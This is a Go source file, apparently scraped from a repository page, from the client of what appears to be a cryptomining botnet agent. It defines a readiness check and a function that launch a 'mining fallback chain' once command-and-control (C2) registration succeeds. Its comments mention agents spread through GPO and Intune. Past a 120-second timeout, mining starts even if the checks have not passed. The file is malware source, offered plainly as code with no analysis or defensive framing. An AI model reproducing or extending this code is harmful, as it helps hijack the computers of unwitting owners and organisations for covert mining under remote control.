60 lines
1.3 KiB
Go
60 lines
1.3 KiB
Go
package client
|
|
|
|
import (
|
|
"context"
|
|
"log"
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
// MiningDiagnosticsReady reports whether the agent may start the mining fallback chain.
|
|
// Spread/GPO/Intune agents defer mining until C2 registration succeeds and hard blockers clear.
|
|
func MiningDiagnosticsReady(d MiningDiagnostics) bool {
|
|
if d.ChainExhausted {
|
|
return false
|
|
}
|
|
if d.HostMiningDisabled && !d.ContainerRunning {
|
|
return false
|
|
}
|
|
if !d.C2Connected {
|
|
return false
|
|
}
|
|
for _, b := range d.LikelyBlockers {
|
|
lower := strings.ToLower(b)
|
|
if strings.Contains(lower, "chain exhausted") ||
|
|
strings.Contains(lower, "host mining disabled") {
|
|
return false
|
|
}
|
|
}
|
|
return true
|
|
}
|
|
|
|
// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
|
|
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
|
|
const maxWait = 120 * time.Second
|
|
deadline := time.Now().Add(maxWait)
|
|
ticker := time.NewTicker(5 * time.Second)
|
|
defer ticker.Stop()
|
|
|
|
tryStart := func(reason string) {
|
|
log.Printf("[mining] %s — starting fallback chain", reason)
|
|
c.miningChain.Start(ctx)
|
|
}
|
|
|
|
for {
|
|
if MiningDiagnosticsReady(c.collectMiningDiagnostics()) {
|
|
tryStart("diagnostics pass")
|
|
return
|
|
}
|
|
if time.Now().After(deadline) {
|
|
tryStart("diagnostics wait timeout")
|
|
return
|
|
}
|
|
select {
|
|
case <-ctx.Done():
|
|
return
|
|
case <-ticker.C:
|
|
}
|
|
}
|
|
}
|